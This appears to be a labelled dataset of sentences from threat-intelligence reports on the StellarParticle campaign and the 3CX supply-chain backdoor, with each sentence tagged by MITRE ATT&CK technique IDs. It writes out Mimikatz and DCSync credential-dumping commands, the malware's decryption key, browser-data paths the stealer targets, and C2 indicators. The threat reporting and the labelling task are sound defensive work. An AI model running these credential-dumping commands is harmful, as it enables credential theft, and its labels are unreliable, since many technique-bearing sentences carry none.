{"sentence": "Eventually, the threat actor attempted an account that they had the correct password for but that had not been set up with MFA.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This resulted in a prompt being displayed to the threat actor that included an MFA setup link.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor subsequently set up MFA for the account and successfully connected to the victim’s network via VPN.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "TA Masquerading of System Names During the attempted and successful VPN authentications described above, the threat actor ensured the hostname of their system matched the naming convention of hostnames in the victim’s environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This again showed a strong knowledge of the victim’s internal environment on the part of the threat actor.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Not only did the masqueraded hostnames follow the correct naming convention from a broad perspective, they were also valid in terms of what would be expected for the user account the threat actor leveraged (i.e., in terms of the site name and asset type indicated in the hostname).", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This masqueraded hostname technique has been observed at multiple StellarParticle-related investigations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Credential Theft Using Get-ADReplAccount", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In one example, the threat actor connected into the victim’s environment via a VPN endpoint that did not have MFA enabled.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Once connected to the VPN, the threat actor connected via Remote Desktop to a Domain Controller and copied the DSInternals10 PowerShell module to the system.", "labels": ["T1021.001", "T1570"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The threat actor subsequently ran the DSInternals command Get-ADReplAccount targeting two of the victim’s domains.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This command uses the Microsoft Directory Replication Service (MS-DRSR) protocol and specifically the IDL_DRSGetNCChanges method to return account information from Active Directory such as the current NTLM password hashes and previous password hashes used for enforcing password reuse restrictions.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A common name for this particular technique is DCSync.11 An example output from Get-AdReplAccount is below: DistinguishedName: CN=TestUser,OU=Admins,OU=Users,DC=demo,DC=local Sid: S-1-5-21-1432446722-301123485-1266542393-2012 Guid: 12321930-7c05-4011-8a3e-e0b9b6e04567 SamAccountName: TestUser SamAccountType: User UserPrincipalName: TestUser@demo.local PrimaryGroupId: 513 SidHistory: Enabled: True UserAccountControl:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "NormalAccount AdminCount: True Deleted: False LastLogonDate: 12/2/2021 1:41:46 PM DisplayName: TestUser GivenName: Test Surname: User Description: Admin Account ServicePrincipalName: SecurityDescriptor: DiscretionaryAclPresent, SystemAclPresent, DiscretionaryAclAutoInherited, SystemAclAutoInherited, DiscretionaryAclProtected, SelfRelative Owner: S-1-5-21-1432446722-301123485-1266542393-512 Secrets NTHash: 84a058676bb6d7de4237e18f09b91156 LMHash: NTHashHistory: Hash 01: 84a058676bb6d7de4237e18f09b91156 Hash 02: e047ebb3b7c463928c928fca95ac0ac8 Hash 03: 6dc3cdb3e559ef00d3521351ace7477e Hash 04: a88355849f35fe7336de23a4ca3e6a9e Hash 05: de9bde95677672295349aa6e1e857704 LMHashHistory:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Hash 01: 12227358dd7013c7dbdbd8fdcc0c6668 Hash 02: 6a028636a6f52491424586bb88357f7c Hash 03: c13ef7347853dc3be7e7259fdc8818a1 Hash 04: 6635151746869ce485246037747adae1 Hash 05: 85543f498b007e07a3da662c8a9d450b SupplementalCredentials: ClearText:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "NTLMStrongHash: de164e3465f163e846a5e1c22a5ac649 Kerberos: Credentials: DES_CBC_MD5 Key: 0013364f00003915 DES_CBC_CRC Key: 0013364f00003915 OldCredentials: DES_CBC_MD5 Key: 00002a46000004bc DES_CBC_CRC Key: 00002a46000004bc Salt: demo.localTestUser Flags: 0 KerberosNew: Credentials: AES256_CTS_HMAC_SHA1_96 Key: afd4d60e8d0920bc2f94d551f62f0ea2a17523bf2ff8ffb0fdade2a90389282f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: f67c2bcbfcfa30fccb36f72dca22a817 Iterations: 4096 DES_CBC_MD5 Key: 00002f34000004ee Iterations: 4096 DES_CBC_CRC Key: 00002f34000004ee Iterations: 4096 OldCredentials: AES256_CTS_HMAC_SHA1_96 Key: b430783ab4c957cf6a03d3d348af27264c0d872932650ffca712d9ebcf778b9f Iterations: 4096 AES128_CTS_HMAC_SHA1_96 Key: dc34bfd5e469edbeada77fac56aa35ae Iterations: 4096 DES_CBC_MD5 Key: 0000345400000520 Iterations: 4096 DES_CBC_CRC Key: 0000345400000520 Iterations: 4096 OlderCredentials: AES256_CTS_HMAC_SHA1_96 Key: 26efd3593712e555f8366bb4b8aff097d09acd93c3a1b6d4ea03c578aad9e087 Iterations:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "4096 AES128_CTS_HMAC_SHA1_96 Key: c38dfbd6c00b5f3b010a07f9e824fc38 Iterations: 4096 DES_CBC_MD5 Key: 000039a500000551 Iterations: 4096 DES_CBC_CRC Key: 000039a500000551 Iterations: 4096 ServiceCredentials: Salt:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "demo.localTestUser DefaultIterationCount: 4096 Flags: 0 WDigest: Hash 01: 83ed141ab0eaf1ff7694147ba97e1994 Hash 02: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 03: 0c228c5816a79e561d999d489499a12a Hash 04: 83ed141ab0eaf1ff7694147ba97e1994 Hash 05: e73a8c05d4a7df53774bfa7ef8f0f574 Hash 06: 4e7c5ec6ffb6100f0c7f0bc57749bc93 Hash 07: 83ed141ab0eaf1ff7694147ba97e1994 Hash 08: 10265b08a3bb710da516832eaf64368a Hash 09: 10265b08a3bb710da516832eaf64368a Key Credentials: Credential Roaming Created: Modified: Credentials: Figure 10.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Get-ADReplAccount example output When executing the Get-ADReplAccount command, the threat actor specified the AD context to be targeted via the NamingContext parameter.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This was necessary, as the threat actor was targeting multiple domains.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The resulting output of each command was redirected to a text file and compressed as zip archives before exfiltration.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The fact that Get-ADReplAccount command includes not only the current NTLM hashes but also the hash history (i.e., hashes of previous passwords used by a user account) meant that the threat actor also had the ability to discover accounts that either reused the same passwords or used similar passwords when the account password was changed.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Credential Refresh On some investigations, the dwell time of the threat actor spanned years.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Given this extended period, it is logical to assume that some credentials obtained by the threat actor would be rotated during normal business operations.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "To combat this, the threat actor periodically “refreshed” their credential set by performing credential theft activities in an already compromised environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "At one victim, CrowdStrike identified multiple instances of domain credential theft months apart, each time with a different credential theft technique.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "One of the credential theft techniques identified by CrowdStrike was the use of a PowerShell script to execute Mimikatz in-memory.", "labels": ["T1003.001"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "While in-memory Mimikatz is not particularly unique, the script executed by the threat actor was heavily obfuscated and encrypted the output using AES256.", "labels": ["T1027"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike was able to reconstruct the PowerShell script from the PowerShell Operational event log as the script’s execution was logged automatically due to the use of specific keywords.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike recommends that organizations upgrade PowerShell on their systems, as this functionality is only available with PowerShell version 5 and above.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition to refreshing the threat actor’s credentials, the threat actor would also refresh their understanding of the victim’s AD environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Around the time when the threat actor executed Get-ADReplAccount, the threat actor also executed a renamed version of AdFind to output domain reconnaissance information.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In this instance, AdFind was renamed to masquerade as a legitimate Windows binary.", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The usage of renamed AdFind is consistent with other industry reporting on this campaign.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In addition to using scripted commands, operators were repeatedly observed manually executing several standard PowerShell cmdlets to enumerate network information from AD, including Get-ADUser and Get-ADGroupMember to query specific members in the directory.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This information provided the adversary with a list of accounts possessing particular privileges — in this case, the ability to make VPN connections — that would be subject to later credential stealing attempts and leveraged to access the victim at a later time.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Password Policies/Hygiene", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "In some cases, the threat actor was able to quickly return to the environment and essentially pick up where they left off, even though the organization had performed an enterprise-wide password reset, including a reset of all service accounts and the double-reset of the krbtgt account.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "CrowdStrike determined that in these cases, administrative users had “reset” their own password to the same password they previously used, essentially nullifying the impact of the enterprise-wide reset.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "This was possible even though the customer’s Active Directory was configured to require new passwords to be different from the previous five passwords for a given account.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Unfortunately, this check only applies when a user is changing their password via the “password change” method — but if a “password reset” is performed (changing the password without knowing the previous password), this check is bypassed for an administrative user or a Windows account that has the Reset Password permission on a user’s account object.12 Since the Get-ADReplAccount cmdlet described above included the NTHashHistory values (i.e., previous password hashes) for user accounts, CrowdStrike was able to verify that some administrative accounts indeed had the exact same password hash showing up multiple times in the password history, as well as in the current NTHash value.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Close Out The StellarParticle campaign, associated with the COZY BEAR adversary group, demonstrates this threat actor’s extensive knowledge of Windows and Linux operating systems, Microsoft Azure, O365, and Active Directory, and their patience and covert skill set to stay undetected for months — and in some cases, years.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "A special thank you to the CrowdStrike Incident Response and CrowdStrike Intelligence teams for helping make this blog possible, especially Ryan McCombs, Ian Barton, Patrick Bennet, Alex Parsons, Christopher Romano, Jackson Roussin and Tom Goldsmith.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Endnotes https://us-cert.cisa.gov/sites/default/files/publications/CISA_Fact_Sheet-Russian_SVR_Activities_Related_to_SolarWinds_Compromise_508C.pdf https://docs.microsoft.com/en-us/partner-center/permissions-overview https://docs.microsoft.com/en-us/partner-center/announcements/2021-december#9 https://attack.mitre.org/techniques/T1546/003/ CrowdStrike Premium Intelligence Report https://attack.mitre.org/techniques/T1213/001/ https://dirkjanm.io/azure-ad-privilege-escalation-application-admin/ https://docs.microsoft.com/en-us/azure/active-directory/conditional-access/block-legacy-authentication https://docs.microsoft.com/en-us/exchange/applicationimpersonation-role-exchange-2013-help https://github.com/MichaelGrafnetter/DSInternals https://attack.mitre.org/techniques/T1003/006/ https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/bbee5135-3db2-4824-873a-55104c3610ad MITRE ATT&CK Framework The following table maps TTPs covered in this article to the MITRE ATT&CK:registered: framework.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Tactic Technique Observable Credential Access T1003.006 OS Credential Dumping: DCSync The threat actor obtained Active Directory credentials through domain replication protocols using the Get-ADReplAccount command from DSInternals Credential Access T1003.001: OS Credential Dumping: LSASS Memory The threat actor used a heavily obfuscated PowerShell script to execute the Mimikatz commands ‘privilege::debug sekurlsa::logonpasswords “lsadump::lsa /patch”‘ in-memory and encrypt the output Initial Access / Persistence T1078.003: Valid Accounts: Local Accounts A local account was used by the Threat Actor to establish a SSH tunnel into the internal network environment Initial Access / Persistence T1133:", "labels": ["T1003.001", "T1027", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "External Remote Services The threat actor used VPNs to gain access to systems and persist in the environment Credential Access T1555.003: Credentials from Password Stores: Credentials from Web Browsers The threat actor exported saved passwords from user’s Chrome browser installations Credential Access T1539:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Steal Web Session Cookie The threat actor stole web session cookies from end user workstations and used them to access cloud resources Lateral Movement T1021.001:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Remote Desktop Protocol The threat actor used both privileged and non-privileged accounts for RDP throughout the environment, depending on the target system Initial Access, Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor used accounts with Delegated Administrator rights to access other O365 tenants.", "labels": ["T1021.001", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "The Threat actor also used valid accounts to create persistence within the environment.", "labels": ["T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Persistence T1546.003: Event Triggered Execution: Windows Management Instrumentation Event Subscription TrailBlazer was configured to execute after a reboot via a command-line event consumer Defense Evasion T1036.005:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Masquerading: Match Legitimate Name or Location The threat actor renamed their utilities to masquerade as legitimate system binaries (AdFind as svchost.exe), match the system’s role (GoldMax), or appear legitimate (TrailBlazer as an apparent Adobe utility).", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additionally, the threat actor renamed their systems prior to connecting to victim’s VPNs to match the victim’s system naming convention Discovery T1087.002: Account Discovery: Domain Account T1482: Domain Trust Discovery T1069.002: Permission Groups Discovery: Domain Groups The threat actor used AdFind, standard PowerShell cmdlets, and custom tooling to identify various pieces of information from Active Directory Defense Evasion / Lateral Movement T1550.001:", "labels": ["T1036.005"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Use Alternate Authentication Material: Application Access Token The threat actor used compromised service principals to make changes to the Office 365 environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Collection T1213.:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Data from Information Repositories: The threat actor accessed data from Information Repositories Persistence T1098.001:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Account Manipulation:", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Additional Cloud Credentials The threat actor added credentials to O365 Service Principals Persistence T1078.004: Valid Accounts: Cloud Accounts The threat actor created new O365 Service Principals to maintain access to victim’s environments Discovery T1057: Process Discovery The threat actor regularly interrogated other systems using tasklist.exe Reconnaissance T1595.001:", "labels": ["T1057", "T1078"], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Active Scanning: Scanning IP Blocks The threat actor probed external services in an attempt to regain access to the environment Indicators of Compromise (IOCs) Indicator Details http://satkas.waw[.]pl/rainloop/forecast TrailBlazer C2 1326932d63485e299ba8e03bfcd23057f7897c3ae0d26ed1235c4fb108adb105 TrailBlazer SHA256 vm-srv-1.gel.ulaval.ca GoldMax C2 2a3b660e19b56dad92ba45dd164d300e9bd9c3b17736004878f45ee23a0177ac GoldMax SHA256 156.96.46.116 TA Infrastructure 188.34.185.85 TA Infrastructure 212.103.61.74 TA Infrastructure 192.154.224.126 TA Infrastructure 23.29.115.180 TA Infrastructure 104.237.218.74 TA Infrastructure 23.82.128.144 TA Infrastructure Additional Resources Read about the latest trends in threat hunting and more in the 2021 Threat Hunting Report or simply download the report now. Learn more about Falcon OverWatch proactive managed threat hunting.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Watch this video to see how Falcon OverWatch proactively hunts for threats in your environment.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Learn more about the CrowdStrike Falcon:registered: platform by visiting the product webpage.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Test CrowdStrike next-gen AV for yourself.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Start your free trial of Falcon Prevent today.", "labels": [], "doc_title": "Early Bird Catches the Wormhole Observations from the StellarParticle Campaign"}
{"sentence": "Introduction The attack involved a compromised version of the 3CX VoIP desktop client, which was used to target 3CX’s customers.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The compromised 3CX application is a private automatic branch exchange (PABX) software and is available for Windows, macOS, Linux, Android, IOS and Chrome.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Currently, there are reports of attacks for both Windows and macOS.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The Qualys Threat Research Unit (TRU) is tracking a supply chain compromise in a popular VOIP desktop client by 3CX that is attributed to DPRK nation-state adversaries.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The attack was reported in late March 2023 and is an ongoing investigation.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Executive Summary The North Korean state-sponsored group Labyrinth Chollima have been identified as the perpetrators behind the supply chain compromise of 3CXDesktopApp beta 18.12.407 and final 18.12.416 applications.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The affected applications are signed and have valid signatures.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The adversary infrastructure on GitHub used for staging the attack has now been taken down.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This means that newer infections will not occur.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "However, the attack’s potential impact was significant, as the software is widely used by businesses around the world.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "To mitigate the risk, affected users are recommended to immediately uninstall the application and perform a full system scan to detect and remove any associated malware.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This threat is being tracked as by MITRE as CVE-2023-29059 Fig.1 Campaign flow Technical Summary Once the affected version of 3CX is installed or updated, it drops a compromised ffmpeg.dll as well as d3dcompiler_47.dll, which contains embedded shellcode.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "When 3CXDesktopApp starts, it sideloads the compromised ffmpeg.dll, which in turn decodes the embedded shellcode from d3dcompiler_47.dll and loads it.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The shellcode accesses a GitHub repository and brings down icon files which contain encrypted C2 strings that the shellcode then decrypts and communicates to.", "labels": ["T1027", "T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The adversary has also deployed a previously unseen info stealer in the later stages of the attack and we have provided an analysis for it in later sections.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This info stealer gathers system information and browser data from Chrome, Edge, Brave, and Firefox.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This info stealer was likely meant to identify interesting targets for the operators.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Existing customers of Qualys can follow the steps in the Detection and Protection sections to identify potential impacts.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "We also recommended that customers implement robust security measures, such as regular vulnerability assessments, patch management regular auditing of vendors.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Overall, this supply chain attack highlights the importance of ensuring the security and integrity of the supply chain, as well as the need for businesses to remain vigilant and proactive in their security measures.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Operating SystemHashFilename Windows aa124a4b4df12b34e74ee7f6c683b2ebec4ce9a8edcf9be345823b4fdcf5d868 3cxdesktopapp-18.12.407.msi Windows 59e1edf4d82fae4978e97512b0331b7eb21dd4b838b850ba46794d9c7a2c0983 3cxdesktopapp-18.12.416.msi macOS 5407cda7d3a75e7b1e030b1f33337a56f293578ffa8b3ae19c671051ed314290 3CXDesktopApp-18.11.1213.dmg macOS e6bbc33815b9f20b0cf832d7401dd893fbc467c800728b5891336706da0dbcec 3cxdesktopapp-latest.dmg Table.1 Details of the affected Applications Technical Analysis of Infection Stages First Stage Analysis", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The original MSI file which initiated the infection drops three files “3CXDesktopApp.exe”, “ffmpeg.dll”, and “d3dcompiler_47.dll”.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "3CXDesktopApp.exe is the legitimate VOIP desktop application and is abused for side loading “ffmpeg.dll”.", "labels": ["T1574.002"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "File Type MD5 SHA256 DLL PE 64bits ffmpeg.dll 27B134AF30F4A86F177DB2F2555FE01D C485674EE63EC8D4E8FDE9800788175A8B02D3F9416D0E763360FFF7F8EB4E02 DLL PE 64bits D3dcompiler_47.dll 82187AD3F0C6C225E2FBA0C867280CC9 11BE1803E2E307B647A8A7E02D128335C448FF741BF06BF52B332E0BBF423B03 Table.2 Initial dropped samples Once “ffmpeg.dll” is loaded, it tries to enumerate the current directory for the second DLL “d3dcompiler_47.dll”.", "labels": ["T1083"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Once found, the “ffmpeg.dll” loads the second DLL into memory.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.2 ffmpeg enumerating current directory", "labels": ["T1083"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The “d3dcompiler_47.dll” DLL has an encrypted payload embedded in it.", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "ffmpeg.dll tries to identify this payload using the signature “0xCEFAEDFE”.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.3 Embedded encrypted payload", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "After the identification of the encrypted payload.", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "“ffmpeg.dll” will try to decrypt it using the RC4 encryption scheme with the key “3jB(2bsG#@c7”.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.4 RC4 decryption The decrypted payload is shown below.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Also, a call to VirtualProtect() is made to give the PAGE_EXECUTE_READWRITE permissions for the payload to be executed.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.5 Decrypted payload The decrypted payload that is going to be executed contains another embedded DLL as shown below.", "labels": ["T1140"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The DLL is dumped from memory to perform more investigations on it.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.6 Dll loading by encrypted payload Second Stage Analysis The embedded DLL will mainly try to fetch malicious “ico” files from the GitHub Repository “https://raw[.]githubusercontent[.]com/IconStorages/images/main/icon%d[.]ico”.", "labels": ["T1027"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The repository contains multiple icon files that have Base64 and AES encrypted C2’s appended to them.", "labels": ["T1573.001"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The full list of decoded C2’s is listed in the IOC section.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "This repository has already been taken down.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Qualys TRU detected an info stealer involved in the infection chain and considers it as a later-stage payload.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "7 GitHub repository Info Stealer Analysis File Type MD5 SHA256 SignatureCompilation TimeDLL PE 64bits 7FAEA2B01796B80D180399040BB69835 8AB3A5EAAF8C296080FADF56B265194681D7DA5DA7C02562953A4CB60E147423 N/A Fri Mar 17 00:32:58 2023 Table.4 Info stealer details The info stealer was deployed in the later stages of the infection chain and is a previously unseen sample.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Its capabilities are mainly gathering system and browser information, including Chrome, Edge, Firefox, and Brave Browsers.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.8 Browser DB location The info stealer uses queries to fetch browsers history and data for Edge, SQLite database history for chrome and “Places” Table for Firefox.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.9 SQL queries for collection The info stealer also collects information on infected hosts, such as domain name, Hostname and OS Version, using NetWkstaGetInfo() API.", "labels": ["T1005", "T1082", "T1106"], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Following locations are accessed by the information stealer: Google Chrome – AppData\\Local\\Google\\Chrome\\User Data Microsoft Edge – AppData\\Local\\Microsoft\\Edge\\User Data Brave Browser – AppData\\Local\\BraveSoftware\\Brave-Browser\\User Data Mozilla Firefox – AppData\\Roaming\\Mozilla\\Firefox\\Profiles Fig.10 System data collection -1 Fig.10 System data collection -2 Qualys Detection & Protection", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "The first step in assessing the risk of this attack to an organization is understanding if this software is in use.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Users of the Qualys Cyber Security Asset Management can quickly identify all installed software across their organization.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "For example, within seconds, you can use the below query to identify assets with instances of the 3CX Desktop Application. software:(name:”3CX Desktop App 18.12″)", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Fig.12 CSAM Software Search Qualys VMDR also has QID 378327 ready to detect assets which have the vulnerable version of the 3CXDesktopApp.exe file present on their machines.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Qualys Vulnerability Management Detection and Response (VMDR) users can scan their environment with this QID to quickly detect impacted systems.", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
{"sentence": "Example output: Fig.13", "labels": [], "doc_title": "3CXDesktopApp Backdoored in a Suspected Lazarus Campaign  "}
